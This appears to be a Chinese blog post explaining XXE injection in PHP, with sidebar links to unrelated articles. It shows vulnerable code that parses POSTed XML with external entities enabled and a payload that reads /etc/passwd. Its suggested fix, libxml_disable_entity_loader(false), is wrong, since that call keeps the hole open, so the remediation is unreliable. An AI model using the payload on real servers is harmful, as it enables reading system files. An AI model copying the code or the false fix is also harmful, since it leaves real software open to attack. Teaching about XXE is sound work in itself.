XML实体注入漏洞

xiaohai 2021-05-15 21:22:12 共2205人围观 标签： php 
简介XML实体注入漏洞

参考链接

<?php
libxml_disable_entity_loader(false);
//第一种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); //必须要有这个SimpleXMLElement
    var_dump($xml); 
}

//第二种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = new SimpleXMLElement($data, LIBXML_NOENT);
    var_dump($xml);
}
?>

那么POST的data数据为：

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
    <name>&content;</name>
</note>

如果需要修复，只需要在前面加上：

libxml_disable_entity_loader(false);

相同类型文章

热门标签

每日一句

    世界太大，生命这样短，要把它过得尽量像自己想要的那个样子，才对。

    ——七堇年

今日排行

  • JavaScript对字符串进行Gzip压缩和解压

    前一篇博客中已经说过Golang对Gzip的处理，其实这是我的服务器端的处理，那么当我们服务器返回Gzip压缩的字符串后，客户端如何进行解压呢？本文主要记录下JavaScript对Gzip进行压缩和解压处理。

  • Golang对结构体进行排序

    在PHP中，对二维数组排序还是非常简单的，但是在Golang中对二位数据排序显的就稍显麻烦，但是我们还是可以通过结构体来进行排序，本文主要记录Golang如何通过结构体的多个字段来进行排序。

  • Python调用WPS把文档转换PDF，并把PDF转图片

    Python调用WPS把文档转换PDF，并把PDF转图片，首先需要安装WPS，然后利用pypiwin32把文档转化成PDF，再利用fitz、PyMuPD把PDF转化成图片

  • sudo：以另一个用户的身份执行命令

    通过sudo命令，可以让普通用户在执行指定命令或程序上，拥有超级管理员的权限。并有针对性将不同的命令授予指定的普通用户，同时普通用户不需要知道root的密码就可以得到授权，授权的方式可以通过visudo配置管理。

  • chmod：改变文件或目录的权限

    chmod命令用于改变文件或目录的权限，但是只有文件或目录的属主和超级用户root才能修改。

点击排行

友情链接